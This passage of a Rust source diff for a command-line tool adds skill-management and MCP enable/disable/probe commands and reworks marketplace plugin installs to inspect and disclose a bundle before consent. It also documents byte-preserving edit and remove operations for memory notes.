Disable { id: String }, + /// Start it, once, on its own, and report what happened — + /// [`crate::servers::probe`] over [`io_harness::probe_mcp`]. + /// + /// A read as far as this module is concerned: it writes no configuration file, + /// so [`plan`] answers `None` for it and each door runs the probe itself. It is + /// not a *cheap* read — it spawns or dials a real server — but nothing about + /// the operator's files changes, which is what a `Plan` is about. + Probe { id: String }, } /// What `/plugin` and `io plugin` can be asked to do. @@ -207,6 +253,22 @@ pub struct Plan { pub scope: Scope, /// What to write, applied together or not at all. pub edits: Vec, + /// What the operator has to be shown **before** [`crate::configure::write`] + /// is called, and consent to. + /// + /// `Some` for exactly one request: `plugin add ` resolved out of a + /// marketplace, which is a stranger's directory nobody on this machine has + /// read. It is already the whole answer — [`plan`] got it from + /// [`crate::marketplace::disclosure`], which is `io_harness::Plugins::inspect` + /// — so a driver holding it has nothing left to decide and no second reading + /// to get wrong. + /// + /// **A door that ignores it writes an unconsented entry**, which is why it is + /// a field on the `Plan` rather than a second call the driver has to remember: + /// the edits and the disclosure that earns them travel together. A bundle + /// io-harness would refuse never reaches here at all — `plan` answers `Err` + /// with io-harness's own sentence and there is no `Plan` to write. + pub disclosure: Option, } /// The tokens of a slash line, as a shell would have handed them to `io`. @@ -275,8 +337,9 @@ pub fn tokens(line: &str) -> Vec { pub fn parse(tokens: &[String]) -> Result { let Some(surface) = tokens.first() else { return Err( - "nothing was asked for; the surfaces are `mcp`, `plugin` and `config`, and \ - each takes a verb after it — `mcp add`, `plugin list`, `config set`" + "nothing was asked for; the surfaces are `mcp`, `plugin`, `skill` and `config`, \ + and each takes a verb after it — `mcp add`, `plugin list`, `skill add`, \ + `config set`" .to_string(), ); }; @@ -300,12 +363,40 @@ pub fn parse(tokens: &[String]) -> Result { let surface = match surface { "plugins" => "plugin", "servers" => "mcp", + // `/skills` is the command and `io skill …` reads better in a shell, so + // both spellings fold here for the plural's own reason: the fold has to be + // on the door **both** ways in go through, or the argv form and the slash + // form end up disagreeing about a word. + "skills" => "skill", other => other, }; let verb = tokens.get(1).map(String::as_str); let args = scan(tokens.get(2..).unwrap_or(&[]))?; match (surface, verb) { + // `no_scope` for the reason every skill verb has it: a skill is a file in + // io-cli's own home and no configuration file declares one, so a scope + // typed here would name something this surface does not write. + ("skill", Some("add")) => { + args.no_scope("skill add")?; + args.only("skill add", &[])?; + Ok(Request::Skill(SkillVerb::Add { + source: std::path::PathBuf::from( + args.one_word("skill add", "the path of a skill file")?, + ), + })) + } + ("skill", Some("list")) => { + args.nothing("skill list")?; + Ok(Request::Skill(SkillVerb::List)) + } + ("skill", Some("remove")) => { + args.no_scope("skill remove")?; + args.only("skill remove", &[])?; + Ok(Request::Skill(SkillVerb::Remove { + name: args.one_word("skill remove", "the name of an installed skill")?, + })) + } ("mcp", Some("add")) => mcp_add(&args).map(Request::Mcp), ("mcp", Some("list")) => { args.nothing("mcp list")?; @@ -318,6 +409,29 @@ pub fn parse(tokens: &[String]) -> Result { })) } ("mcp", Some("edit")) => mcp_edit(&args).map(Request::Mcp), + // **One arm for the pair, because they are one verb with a value.** Two + // arms would be two spellings of the same three refusals, and the one that + // got less attention is the one that would stop refusing a `--scope`. + // `no_scope` for `remove`'s reason: the entry lives in exactly one file and + // io finds it by name, so a scope typed here would aim a position counted + // in one file's array at another file's. + ("mcp", Some(word @ ("enable" | "disable"))) => { + let named = format!("mcp {word}"); + args.no_scope(&named)?; + args.only(&named, &[])?; + let id = args.one_word(&named, "the id of a configured server")?; + Ok(Request::Mcp(if word == "enable" { + McpVerb::Enable { id } + } else { + McpVerb::Disable { id } + })) + } + ("mcp", Some("probe")) => { + args.only("mcp probe", &[])?; + Ok(Request::Mcp(McpVerb::Probe { + id: args.one_word("mcp probe", "the id of a configured server")?, + })) + } ("mcp", Some("remove")) => { args.no_scope("mcp remove")?; args.only("mcp remove", &[])?; @@ -408,8 +522,9 @@ pub fn parse(tokens: &[String]) -> Result { /// documentation this whole module's refusals exist to save. fn verbs(surface: &str) -> &'static str { match surface { - "mcp" => "`add`, `list`, `get`, `edit` and `remove`", + "mcp" => "`add`, `list`, `get`, `edit`, `enable`, `disable`, `probe` and `remove`", "plugin" => "`add` (also spelled `install`), `list`, `search`, `remove` and `marketplace`", + "skill" => "`add `, `list` and `remove `", _ => "`get`, `set`, `unset` and `list`", } } @@ -492,12 +607,21 @@ fn judged(text: &str) -> Result { /// /// **Every write is one of the edits this crate already had**, and that is the /// constraint rather than an observation: `servers::add`, `servers::edit`, -/// `servers::remove`, `pluginview::add`, `pluginview::add_off`, -/// `pluginview::remove`, `Edit::set` and +/// `servers::remove`, `pluginview::add`, `pluginview::remove`, `Edit::set` and /// `Edit::unset` are what the interactive surfaces write through, and a second /// path assembled here would be a second set of bytes to keep equal — which is /// the defect the whole module is arranged against. /// +/// **`Err` is also how a bundle is refused before anything is written.** A +/// `plugin add ` resolved out of a marketplace runs +/// `io_harness::Plugins::inspect` here, so a manifest io-harness would drop — a +/// bad id, a `[[hook]]` in a committed file, a `${env:}` substitution — ends the +/// request with io-harness's own sentence and no `Plan` at all. Neither door can +/// therefore write first and find out afterwards, which is what both of them did +/// through 0.29.0. What a bundle it *accepts* would bring rides on +/// [`Plan::disclosure`], for the door to show and get consent for before it calls +/// [`crate::configure::write`]. +/// /// The scope of a change to something that **already exists** is not the /// operator's to choose: it is the file that declares it, found by /// [`crate::servers::declared_in`] and [`crate::pluginview::declared_at`]. A @@ -523,9 +647,18 @@ fn decided_scope(root: &Path, key: &str, asked: Option) -> Scope { pub fn plan(root: &Path, request: &Request) -> Result, String> { let plan = match request { + // **No skill verb plans an `Edit`, and none ever will.** A skill is a + // markdown file in io-cli's own home; no configuration file declares one, + // there is no `enabled` key for one in the harness, and `Plan` is a list of + // edits to somebody's `io.toml`. Installing copies a file and removing + // unlinks one — acts that happen on the door, in `skillview`, the way a + // probe does. `Ok(None)` is the honest answer and it is the same one every + // read verb here gives. + Request::Skill(_) => return Ok(None), Request::Mcp(McpVerb::Add { server, scope }) => Plan { scope: *scope, edits: vec![crate::servers::add(server)], + disclosure: None, }, Request::Mcp(McpVerb::Edit { id, key, value }) => { let at = declared_server(root, id)?; @@ -543,6 +676,7 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { Plan { scope: at.scope, edits: vec![edit], + disclosure: None, } } Request::Mcp(McpVerb::Remove { id }) => { @@ -550,8 +684,14 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { Plan { scope: at.scope, edits: vec![crate::servers::remove(&at)], + disclosure: None, } } + // **The entry is found and then edited, never removed and re-added.** + // `servers::switch` is the one write, shared with the `/mcp` keystroke, so + // whichever door was typed the file gains the same four bytes. + Request::Mcp(McpVerb::Enable { id }) => switched(root, id, true)?, + Request::Mcp(McpVerb::Disable { id }) => switched(root, id, false)?, Request::Plugin(PluginVerb::Add { path, scope }) => { // **Both readings of the word, decided in one place.** A directory // carrying a manifest is a path and everything else is a name looked @@ -569,23 +709,36 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { &path.display().to_string(), )?; let written = crate::pluginview::declared(root, chosen.dir()); + // **Which reading won decides whether anything is disclosed, and that + // is the whole of the rule.** A directory the operator typed is + // declared without ceremony, which is what `/plugin add ./bundles/x` + // has done since 0.28.0 and is not a thing to second-guess. A bundle + // resolved out of a marketplace is a stranger's code nobody here has + // read, so io-harness reads, parses, validates and trust-checks it + // **now** — `Plugins::inspect`, 0.71.0 — and a refusal is this + // function's `Err`, in io-harness's own sentence, with the operator's + // configuration file never opened. + // + // `Chosen::discloses` is the one place that question is answered, and + // the scope handed to `inspect` is the scope this `Plan` is about to + // be written into: a `[[hook]]` is the bundle's own business in a + // user-scope file and is refused whole in a committed one, and an + // install that inspected at the wrong scope would disclose a bundle + // that then dropped, or refuse one that would have loaded. + let disclosure = chosen + .discloses() + .then(|| crate::marketplace::disclosure(*scope, chosen.dir())) + .transpose()?; Plan { scope: *scope, - // **Which reading won decides which entry is written, and that is - // the whole of the disclosure rule.** A directory the operator - // typed is declared on, which is what `/plugin add ./bundles/x` - // has done since 0.28.0 and is not a thing to second-guess. A - // bundle resolved out of a marketplace is a stranger's code no one - // here has read, and it is declared `enabled = false` so that - // io-harness reads, parses, validates and trust-checks it — the - // only way it can, since it publishes no loader that takes a - // directory — before a single contribution reaches a turn. - // `Chosen::discloses` is the one place that question is answered. - edits: vec![if chosen.discloses() { - crate::pluginview::add_off(&written) - } else { - crate::pluginview::add(&written) - }], + // One entry, switched on, written once. Through 0.29.0 a + // marketplace bundle was written `enabled = false` first and + // switched on afterwards, because declaring it was the only way to + // have io-harness read it at all; `inspect` has replaced that + // round trip, so there is no longer an entry in the file that the + // operator has not agreed to. See `pluginview::add_off`. + edits: vec![crate::pluginview::add(&written)], + disclosure, } } Request::Plugin(PluginVerb::Remove { path }) => { @@ -600,11 +753,13 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { Plan { scope, edits: vec![crate::pluginview::remove(index)], + disclosure: None, } } Request::Config(ConfigVerb::Set { key, value, scope }) => Plan { scope: decided_scope(root, key, *scope), edits: vec![Edit::set(key.clone(), value.clone())], + disclosure: None, }, Request::Config(ConfigVerb::Unset { key, scope }) => Plan { scope: decided_scope(root, key, *scope), @@ -615,6 +770,7 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { // for a key whose name happens to be a section's, delete the // operator's entire block. See `Edit::unset`. edits: vec![Edit::unset(key.clone())], + disclosure: None, }, // **A marketplace verb plans no write, and it is here beside the reads // rather than given a shape of its own.** `add` and `remove` are not @@ -633,7 +789,15 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { // // `search` is here as an ordinary read: it opens the marketplaces on the // disk rather than a configuration file, and it changes neither. - Request::Mcp(McpVerb::List | McpVerb::Get { .. }) + // + // **`mcp probe` is here, and it is the one read in this list that does + // something.** It spawns or dials a real server and shuts it down again — + // but it changes no configuration file, and a `Plan` is about a file. There + // is no `Edit` that could express "go and look", and a `Plan` carrying an + // empty edit list is what `Ok(None)` exists to prevent. So each door runs + // `servers::probe` itself, through the one entry point, and prints + // `servers::probed`'s one sentence. + Request::Mcp(McpVerb::List | McpVerb::Get { .. } | McpVerb::Probe { .. }) | Request::Plugin( PluginVerb::List | PluginVerb::Search { .. } | PluginVerb::Marketplace(_), ) @@ -642,6 +806,19 @@ pub fn plan(root: &Path, request: &Request) -> Result, String> { Ok(Some(plan)) } +/// The plan `mcp enable` and `mcp disable` both come to. +/// +/// One function because they are one write with a different value, and the file is +/// found the same way either way — by id, in whichever scope declares the entry. +fn switched(root: &Path, id: &str, on: bool) -> Result { + let at = declared_server(root, id)?; + Ok(Plan { + scope: at.scope, + edits: vec![crate::servers::switch(&at, on)], + disclosure: None, + }) +} + /// Where the deciding file declares the server called `id`. /// /// The refusal names the id and the verb that lists them, because "not found" over @@ -1042,13 +1219,15 @@ fn mcp_add(args: &Args) -> Result { // Built by hand rather than through `McpServer::stdio(…).with_args(…)`, // because `env` and `headers` have no builder at all and `with_args` is a - // silent no-op on an HTTP server (`io-harness-0.69.0/src/mcp.rs:267`) — a - // constructor chain here would drop the arguments of half the servers it was - // handed and say nothing. + // silent no-op on an HTTP server (`io-harness-0.71.0/src/mcp.rs:439-447`: the + // body writes only into the `Stdio` arm) — a constructor chain here would drop + // the arguments of half the servers it was handed and say nothing. // Asked of the harness rather than written as literals, the way `servers::add` // asks it: the defaults are io-harness's, and a value copied into io-cli is one // that goes stale in silence. `enabled` is io-harness 0.70.0's; an added server - // is on, and the flag has no keystroke here yet — see the known limitations. + // is on, and **since 0.30.0 it has both a keystroke and an argument form** — + // `/mcp`'s toggle row and `io mcp enable|disable `, which share + // `servers::switch`. let defaults = McpServer::stdio("", ""); let mut server = McpServer { id, diff --git a/src/marketplace.rs b/src/marketplace.rs index ad8a020..d776f36 100644 --- a/src/marketplace.rs +++ b/src/marketplace.rs @@ -44,7 +44,11 @@ //! the same trust class. TOML permits raw newlines inside a `"""` string, so a //! `description` can otherwise put forged extra lines on the very surface an //! operator reads to decide whose code to install. `plain` is that filter and -//! every value out of a manifest passes through it, the hook commands included. +//! every value out of a manifest passes through it. `plain` is `pub(crate)` for +//! exactly one reason: a hook's argv reaches the consent surface through +//! io-harness's accessors now rather than through this module, and it is the same +//! trust class — so [`crate::pluginview`] filters it with this function rather +//! than growing a second one that drifts from it. //! //! **A manifest that does not name itself is still a bundle.** io-harness would //! refuse to load it, and that refusal is io-harness's to make when somebody @@ -73,52 +77,55 @@ //! Nothing here writes: [`chosen`] answers with a directory and the entry is //! written by [`crate::pluginview`], the edits `/plugin add` already had. //! -//! # A marketplace install discloses before it enables, and io-harness does the reading +//! # A marketplace install discloses before it writes, and io-harness does the reading //! //! A bundle out of a marketplace is a directory **nobody on this machine has //! read**, and it contributes to six subsystems at once. Every other bundle io-cli //! declares came from a directory the operator typed the path of; this one came //! from a stranger's repository, and [`Chosen`] is where the two part. //! -//! io-harness 0.70.0 publishes no loader that takes a directory — `load_one` is -//! private and `Plugins::load` is `pub(crate)` — so the *only* public way to have -//! it read, parse, validate and trust-check a bundle is to declare it in a -//! configuration file. The install therefore writes the entry with -//! `enabled = false` ([`crate::pluginview::add_off`]), re-discovers, and renders -//! what comes back on [`io_harness::Plugins::disabled`] through the -//! [`io_harness::Plugin`] accessors, all of which are valid on a switched-off -//! bundle. That is [`disclosure`], and the names in it are already namespaced — -//! `rust-review__reviewer` — which is the whole reason it must come from io-harness -//! rather than from the manifest: the manifest says `reviewer`, and `reviewer` is a -//! name the operator will never see again. +//! io-harness 0.71.0 publishes [`io_harness::Plugins::inspect`], which is +//! `load_one` — the loader `Config::plugins` itself runs — reached without a +//! `[[plugin]]` entry. So the install reads the directory **first**: every check +//! runs, every name is namespaced, and [`disclosure`] renders the returned +//! [`io_harness::Plugin`] through the same accessors `/plugin`'s own pane uses. +//! The names in it are already `rust-review__reviewer`, which is the whole reason +//! the reading must be io-harness's rather than the manifest's: the manifest says +//! `reviewer`, and `reviewer` is a name the operator will never see again. //! -//! **A bundle io-harness refuses is refused at that point, before consent.** It -//! lands in `Plugins::dropped` and therefore in -//! [`crate::pluginview::View::refused`], and [`disclosure`] answers `Err` with -//! io-harness's own sentence. Nothing is offered to switch on, because there is -//! nothing that would load. +//! **Nothing is written until the operator consents, and that is what 0.30.0 +//! changed.** Through 0.29.0 there was no loader taking a directory, so the only +//! way to have a stranger's bundle validated was to declare it — the install wrote +//! the entry `enabled = false`, re-discovered, and disclosed off the result. A +//! bundle io-harness refused therefore left an entry behind in a file the operator +//! had agreed to nothing about. Now `inspect` answers with the file untouched, and +//! the write is [`crate::pluginview::add`], once, after consent. Declining writes +//! no byte at all. //! -//! **So a marketplace install goes to user scope.** io-harness's -//! `refuse_executing_contributions` rejects a `Scope::Project` bundle carrying any -//! `[[hook]]` or `[[mcp]]` and the refusal takes the whole bundle — which is -//! already `manage`'s default for a new entry, and is a reason not to change it. +//! **A bundle io-harness refuses is refused before anything is written**, in +//! io-harness's own sentence — the string that would otherwise have landed on +//! `Plugins::dropped`. Nothing is offered to switch on, because there is nothing +//! that would load. A `${env:}`, `${file:}` or `${cmd:}` substitution inside a +//! manifest is one of those refusals in **every** scope from 0.71.0: a manifest is +//! the one file here nobody has agreed to, and resolving one would read this +//! machine's environment or its files, or run a program on it, for a directory +//! still under consideration. //! -//! Consent is [`crate::pluginview::enable`], one `set` on that entry's own -//! `enabled` key. Declining leaves the entry exactly as it is: declared, off, and -//! listed by `/plugin` under its own mark. +//! **So a marketplace install goes to user scope**, and [`disclosure`] is told +//! which scope it is: io-harness's `refuse_executing_contributions` rejects a +//! `Scope::Project` bundle carrying any `[[hook]]` or `[[mcp]]` and the refusal +//! takes the whole bundle. That is already `manage`'s default for a new entry, and +//! is a reason not to change it — and the asymmetry is exactly the fact an install +//! owes an operator before it writes. //! -//! # The hooks are read here, and only to be shown +//! # The hooks are io-harness's too //! -//! io-harness exposes no accessor for a bundle's hooks (io-harness#223), so -//! `contributions()` reports the word `hooks` and nothing else — and a bundle's -//! hooks are the contribution that **runs programs**. Consenting on that word is -//! consenting to argv nobody named. [`hooks`] reads the `[[hook]]` tables out of -//! the manifest the way this module's own `declared` already reads `name`, -//! through [`crate::edit::value_at`], and names each one's event and command. -//! -//! **Display only.** What is installed, and whether it may be, stays io-harness's -//! parse and io-harness's trust rule; this reading decides nothing and is deleted -//! whole when #223 lands. +//! [`io_harness::Plugin::hooks`] and a public [`io_harness::Hook`] arrived in +//! 0.71.0, so this module's own `[[hook]]` reader is gone. It could not see an +//! inline `hook = [{…}]` array or a `[[hook]]` header with a trailing comment on +//! it — both ordinary TOML, both accepted by io-harness — and drew a bundle with +//! hooks as a bundle with none, on the contribution kind that **runs programs**. +//! The rows are built in [`crate::pluginview`] now, off the accessors. //! //! # Removing a marketplace removes a clone and nothing else //! @@ -133,6 +140,8 @@ use std::path::{Path, PathBuf}; +use io_harness::config::Scope; + use crate::fetch::{Fetched, Named}; use crate::glyphs::Glyphs; use crate::picker::{fit, fit_left, Row}; @@ -311,9 +320,10 @@ fn declared(text: &str, key: &str) -> Option { /// useless when it does. Two hundred characters is longer than any terminal is wide /// and shorter than anything that can bury the row above it. /// -/// **A hook's command is deliberately not bounded by this** — see [`hooks`]: it is -/// argv an operator is consenting to, and a shortened argv is the one thing that -/// surface must never show. +/// **A hook's command is deliberately not bounded by this** — see +/// [`crate::pluginview::detail`], which draws the hook rows: it is argv an +/// operator is consenting to, and a shortened argv is the one thing that surface +/// must never show. const LONGEST: usize = 200; /// `value` cut to [`LONGEST`] characters. @@ -349,7 +359,7 @@ fn bounded(value: &str) -> String { /// reverse how a run of text *displays* without changing what it says, which is a /// separate problem from this one and belongs wherever this crate decides it for /// every surface at once rather than in the marketplace reader alone. -fn plain(value: &str) -> String { +pub(crate) fn plain(value: &str) -> String { value .chars() .map(|glyph| if glyph.is_control() { ' ' } else { glyph }) @@ -1000,80 +1010,7 @@ impl Chosen { } } -/// Every `[[hook]]` a manifest declares, as `(event, command)`, in its own order. -/// -/// **The one contribution kind io-harness will not name, on the one that runs -/// programs.** There is no `Plugin::hooks()` and `Hook` is `pub(crate)` -/// (io-harness#223), so `contributions()` answers the bare word `hooks` — and an -/// operator consenting to a stranger's bundle on that word is consenting to argv -/// nobody has shown them. Read through [`crate::edit::value_at`], which is this -/// crate's only permitted TOML parser and answers in the value's **source bytes**: -/// what is drawn is what the file says, unquoted by nobody and interpreted by -/// nobody. -/// -/// The tables are counted with [`crate::edit::sections`] rather than by walking -/// `hook[i].on` until a miss, because a hook may legally carry no `on` at all — -/// `at` is the other half of that pair, and an empty `on` means *every* event — so -/// the walk would stop at the first lifecycle hook and under-report the rest. -/// -/// io-harness's own keys, and both halves of each pair: an event hook has `on`, a -/// lifecycle hook has `at`; a hook that spawns has `run`, and one that logs has -/// `append`. A table with neither is a table io-harness refuses, and it is said -/// rather than skipped — this is a disclosure, and a hook drawn as a blank row is -/// the silence the whole surface exists to end. -/// -/// **An empty `on` is every event and is said so.** io-harness documents `on = []` -/// as firing on all of them (`io-harness/src/hooks.rs:116`), so the hook that runs -/// most often was the one disclosed as `[]` — the least alarming two characters on -/// the screen where the operator decides. -/// -/// **Every value goes through `plain` and none through `bounded`.** A `run` -/// comes back as the source span of an array, and TOML lets that array run over as -/// many lines as it likes — newlines straight into the consent list. They are -/// filtered; the length is not, because this is argv somebody is consenting to and -/// a shortened argv is worse than no argv at all. See [`disclosure`], which is why -/// the consent surface is no longer given a width to shorten it by. -/// -/// **Display only, and deleted whole when #223 lands.** What is installed and -/// whether it may be stay io-harness's parse and io-harness's trust rule. -#[must_use] -pub fn hooks(dir: &Path) -> Vec<(String, String)> { - let Ok(text) = std::fs::read_to_string(dir.join(MANIFEST)) else { - return Vec::new(); - }; - let count = crate::edit::sections(&text) - .iter() - .filter(|path| path.len() == 1 && path[0] == "hook") - .count(); - (0..count) - .map(|index| { - let at = |key: &str| { - crate::edit::value_at(&text, &format!("hook[{index}].{key}")) - .map(|raw| plain(&unquote(raw.trim()))) - }; - let event = at("on") - .filter(|on| !every_event(on)) - .or_else(|| at("at")) - .unwrap_or_else(|| "every event".to_string()); - let command = at("run") - .or_else(|| at("append").map(|file| format!("appends to {file}"))) - .unwrap_or_else(|| "declares neither `run` nor `append`".to_string()); - (event, command) - }) - .collect() -} - -/// Whether an `on` is the empty array, whatever whitespace it is spelled with. -/// -/// The source bytes, so `[]`, `[ ]` and an array broken over three lines are one -/// answer. Anything with a value in it is not this. -fn every_event(on: &str) -> bool { - on.chars() - .filter(|glyph| !glyph.is_whitespace()) - .eq("[]".chars()) -} - -/// What a just-declared, switched-off bundle turned out to be. +/// What a bundle turned out to be, before anything was written about it. /// /// The id is io-harness's — the manifest's `name`, which is also what every /// contribution is namespaced by — so the confirmation is titled with the word the @@ -1083,93 +1020,96 @@ fn every_event(on: &str) -> bool { pub struct Disclosure { /// The bundle's id, for the confirmation's title. pub id: String, - /// One finished line per fact, in io-harness's own contribution order. - pub said: Vec, + /// One row per fact, in io-harness's own contribution order — exactly what + /// `/plugin`'s own pane draws, so the two surfaces cannot say different things + /// about one bundle. + /// + /// Rows rather than finished lines because the glyph set belongs to the door: + /// the TUI writes into a terminal whose set the operator chose, and the argv + /// form writes down a pipe in ASCII. [`Disclosure::said`] is the fold. + pub rows: Vec, } -/// What a bundle declared `enabled = false` at `dir` would bring, or why it will -/// bring nothing. -/// -/// **Every fact comes off `view`, which came off `Config::plugins()`, which came -/// off io-harness's own read of the directory** — that is the whole of criterion -/// F6 and the reason this takes a [`crate::pluginview::View`] rather than a path -/// and a manifest. The agent names, server ids and layer names have already been -/// rewritten to `__` by io-harness at load, so they are the strings a -/// refusal, a call and a spawn will use; a disclosure rendered out of the manifest -/// would name `reviewer` for a bundle that contributes `rust-review__reviewer`, -/// which is a name the operator will never see again. -/// -/// `Err` is io-harness's own sentence, whole. A bundle it refused is refused **at -/// this point, before consent**: it is on `Plugins::dropped` and therefore on -/// `view.refused`, and there is nothing to offer to switch on because there is -/// nothing that would load. That is a property of the mechanism rather than a check -/// written here — the file had to be read for the disclosure to exist at all. +impl Disclosure { + /// One finished line per row, in the caller's own glyph set. + /// + /// Written into the scrollback a line at a time rather than drawn as a list to + /// choose from: every row of a confirmation past index 0 **acts** + /// ([`crate::store::acts`]), so a fact drawn as a row would be a fact an + /// operator could accidentally consent with. + #[must_use] + pub fn said(&self, glyphs: &Glyphs) -> Vec { + self.rows + .iter() + .map(|row| match &row.detail { + Some(detail) => format!("{}{}{detail}", row.label, glyphs.separator), + None => row.label.clone(), + }) + .collect() + } +} + +/// What declaring the bundle at `dir` from `scope` would bring, or io-harness's +/// own sentence saying it would bring nothing. +/// +/// **Nothing has been written when this is called, and that is the whole of +/// criterion F17.** [`io_harness::Plugins::inspect`] (0.71.0) runs `load_one` — +/// the same loader `Config::plugins` runs, so a preflight and a load cannot +/// disagree — against a directory that is in no configuration file. Through +/// 0.29.0 there was no such entry point, so the install wrote a `[[plugin]]` entry +/// `enabled = false`, re-discovered, and read the answer off the resulting `View`: +/// a bundle io-harness refused left its entry behind in a file the operator never +/// agreed to have edited. Now the refusal happens with the file untouched, and the +/// write is [`crate::pluginview::add`], once, on consent. +/// +/// **`scope` is the answer and not a formality.** It is the scope the entry would +/// be declared from, and io-harness answers differently by it on purpose: at +/// `User` and `Local` a bundle's `[[hook]]` and `[[mcp]]` are its own business, +/// and at `Project` — the committed `io.toml` a `git clone` delivers — the same +/// manifest is refused **whole** rather than shortened. A bundle that would only +/// load from one of the two is exactly what an install has to say before it writes +/// anything, so the scope handed here is the scope the caller is about to write. +/// +/// `Err` is io-harness's sentence, whole and re-worded by nobody — including the +/// one for a `${env:}`, `${file:}` or `${cmd:}` substitution, which 0.71.0 refuses +/// inside a manifest in **every** scope and names by the offending key's dotted +/// path. A manifest is the one file here nobody has agreed to, and resolving one of +/// those would read this machine, or run a program on it, for a directory the +/// operator is still deciding about. +/// +/// Every name is already namespaced — `inspect` rewrites an agent, a server id and +/// a layer name to `__` exactly as a load does — so the operator +/// consents to the strings a refusal, a call and a spawn will use. A disclosure +/// composed out of the manifest would say `reviewer` for a bundle that contributes +/// `rust-review__reviewer`, which is a name they will never see again. /// /// The rows come from [`crate::pluginview::detail`], the renderer `/plugin`'s own /// pane uses, so the pane an operator opens afterwards says the same thing in the -/// same order. They are folded to lines here because a disclosure is recorded into -/// the scrollback rather than drawn as a list to choose from: every row of a -/// confirmation past index 0 **acts** ([`crate::store::acts`]), so a fact drawn as -/// a row would be a fact an operator could accidentally consent with. -/// -/// Matched on the resolved path, for [`dependents`]' reason: `~` on macOS is -/// reached through `/var` and canonicalises to `/private/var`, and a raw comparison -/// would answer "io-harness read no bundle there" about the entry that was just -/// written. +/// same order. /// -/// # `_width` is taken and deliberately not used +/// # Nothing on a consent surface is elided, and the hook rows are why /// -/// **Nothing on a consent surface may be elided, and the hook rows are why.** /// [`crate::pluginview::detail`] shortens a row's detail to the width it is given, /// and on an eighty-column terminal that cuts a hook's `run` array with an /// ellipsis — so the operator consented to a truncated argv, on the one -/// contribution kind that runs programs and the entire reason [`hooks`] exists. -/// The argv door passed `u16::MAX` and was never shortened, and that door cannot -/// consent; the TUI door passed the screen's own width, and that is the door where -/// consent happens. -/// -/// A width bound buys nothing here in any case: these rows are folded into -/// [`Disclosure::said`] and written into the scrollback one line at a time, where -/// the terminal wraps them, rather than drawn into a fixed-width picker. So the -/// renderer is handed a width nothing can exceed and the caller's is ignored. The -/// argument stays on the signature because both doors have a width to hand and a -/// later row here may want one — and taking it while ignoring it is a smaller lie -/// than shortening a command somebody is about to consent to. -pub fn disclosure( - view: &crate::pluginview::View, - dir: &Path, - hooks: &[(String, String)], - _width: u16, - glyphs: &Glyphs, -) -> Result { - let real = resolved(dir); - if let Some(refused) = view - .refused - .iter() - .find(|refused| resolved(&refused.path) == real) - { - return Err(refused.error.clone()); - } - let listed = view - .plugins - .iter() - .find(|listed| resolved(&listed.root) == real) - .ok_or_else(|| { - format!( - "{} is declared and io-harness reported it neither as read nor as refused, so \ - there is nothing to disclose and nothing was switched on", - dir.display() - ) - })?; +/// contribution kind that runs programs. There is therefore no width on this +/// signature to get wrong: the renderer is handed `u16::MAX`, and +/// [`Disclosure::said`] hands the lines to the scrollback one at a time where the +/// terminal wraps them, rather than into a fixed-width picker. +/// +/// **That is also why no glyph set is taken.** At `u16::MAX` nothing is shortened, +/// so the only glyph a row could carry is the ellipsis that says it was — and +/// there is none. The set the renderer is handed cannot reach the output, and the +/// one that *does* show, the separator between a row's two fields, is applied by +/// the door in [`Disclosure::said`]. +pub fn disclosure(scope: Scope, dir: &Path) -> Result { + let plugin = io_harness::Plugins::inspect(scope, dir).map_err(|error| error.to_string())?; + // `true`, because nothing has been written: this is what the directory *is*, + // not what some `[[plugin]]` entry said about it. See `pluginview::copy_out`. + let listed = crate::pluginview::copy_out(&plugin, true); Ok(Disclosure { id: listed.id.clone(), - said: crate::pluginview::detail(listed, u16::MAX, glyphs, hooks) - .into_iter() - .map(|row| match row.detail { - Some(detail) => format!("{}{}{detail}", row.label, glyphs.separator), - None => row.label, - }) - .collect(), + rows: crate::pluginview::detail(&listed, u16::MAX, &crate::glyphs::ASCII), }) } diff --git a/src/memory.rs b/src/memory.rs index 8f11256..b58e89f 100644 --- a/src/memory.rs +++ b/src/memory.rs @@ -27,8 +27,8 @@ //! //! Worth knowing before a surface promises otherwise. `read_instructions` joins //! each name in `[instructions] files` to the **discovery root** -//! (`io-harness-0.69.0/src/config.rs:1888`), and the default list is exactly -//! `["AGENTS.md"]` (`config.rs:158`). So `AGENTS.md` is read by every project +//! (`io-harness-0.71.0/src/config.rs:2111`), and the default list is exactly +//! `["AGENTS.md"]` (`DEFAULT_INSTRUCTIONS`, `config.rs:159`). So `AGENTS.md` is read by every project //! with no configuration at all; `AGENTS.local.md` is read only where a file //! names it; and `IO.md` is not reachable by a bare name at all, because a //! relative name is resolved against the workspace and the home is not the @@ -37,14 +37,23 @@ //! business is settled, and [`view`] is how a surface reports the outcome //! honestly rather than optimistically. //! -//! # Appending, and why it is spelled out +//! # Appending, editing, and the one rule all three verbs follow //! -//! Everything here is an append. These files are the operator's own prose — a -//! person wrote them, another agent may have written into them, and a release of -//! this crate rewriting one is a release that eats somebody's notes. So the file -//! is opened for append rather than read-modify-written, and the only byte this -//! module ever adds ahead of its own bullet is a newline the previous author left -//! off. +//! Through 0.29.0 everything here was an append and this paragraph said so. It no +//! longer is: [`amend`] replaces one line and [`forget`] removes one. What has not +//! changed is why the paragraph exists. These files are the operator's own prose — +//! a person wrote them, another agent may have written into them, and a release of +//! this crate rewriting one is a release that eats somebody's notes. +//! +//! So the rule the two new verbs follow is **splice, never rewrite**: the file is +//! read as bytes, exactly one byte range is replaced, and every other byte is +//! written back as it was found — the indent somebody used, the `*` they wrote +//! where this module writes `-`, the `\r\n` a Windows checkout holds, and a last +//! line with no newline after it. A rewrite assembled from the parsed lines is the +//! obvious implementation and it normalises all four in silence. [`remember`] is +//! still an append, and its `prelude` is the same rule reached from the other end: +//! the only byte it ever adds ahead of its own bullet is a newline the previous +//! author left off. use std::io::Write as _; use std::path::{Path, PathBuf}; @@ -185,13 +194,277 @@ pub fn remember(root: &Path, scope: Scope, line: &str) -> Result usize { + self.line + 1 + } + + /// How many further lines this bullet carries with it — see the field. + /// + /// A surface offering [`forget`] on a note where this is non-zero is offering + /// a verb that does a fraction of what it looks like it does, and has to say + /// so. + #[must_use] + pub fn carries(&self) -> usize { + self.carries + } +} + +/// The bullets one scope's file holds, each one addressable. +/// +/// Empty for a file that is not there, and empty for one this process cannot +/// read — the same answer [`view`] gives, for the same reason: [`Instruction`] +/// already reports `exists` beside this list, and a second opinion 